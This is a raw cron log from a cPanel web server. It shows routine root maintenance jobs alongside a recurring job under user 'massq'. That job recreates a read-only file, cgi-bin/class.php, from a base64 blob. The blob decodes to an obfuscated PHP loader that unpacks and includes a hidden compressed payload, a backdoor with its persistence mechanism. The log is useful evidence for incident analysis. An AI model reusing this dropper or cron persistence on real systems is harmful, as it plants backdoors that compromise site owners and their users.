Sep  7 19:30:01 server CROND[15972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:30:01 server CROND[15976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:30:01 server CROND[15977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:31:01 server CROND[16791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:31:01 server CROND[16792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:31:01 server CROND[16793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:32:01 server CROND[17273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:32:01 server CROND[17274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:32:01 server CROND[17275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:33:01 server CROND[17662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:33:01 server CROND[17663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:33:01 server CROND[17664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:34:01 server CROND[18048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:34:01 server CROND[18049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:34:01 server CROND[18050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:35:01 server CROND[18434]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 19:35:01 server CROND[18433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:35:01 server CROND[18440]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:35:01 server CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:35:01 server CROND[18457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:35:01 server CROND[18456]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:35:01 server CROND[18458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:35:01 server CROND[18459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:35:01 server CROND[18455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:36:01 server CROND[19278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:36:01 server CROND[19279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:36:01 server CROND[19280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:37:01 server CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:37:01 server CROND[19767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:37:01 server CROND[19768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:38:01 server CROND[20144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:38:01 server CROND[20145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:38:01 server CROND[20146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:39:01 server CROND[20540]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 19:39:01 server CROND[20541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:39:01 server CROND[20539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:39:01 server CROND[20542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:40:01 server CROND[20936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:40:01 server CROND[20939]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:40:01 server CROND[20940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:40:01 server CROND[20941]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:40:01 server CROND[20943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:40:01 server CROND[20945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:40:01 server CROND[20942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:40:01 server CROND[20946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:41:01 server CROND[21763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:41:01 server CROND[21764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:41:01 server CROND[21765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:42:01 server CROND[22142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:42:01 server CROND[22143]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:42:01 server CROND[22146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
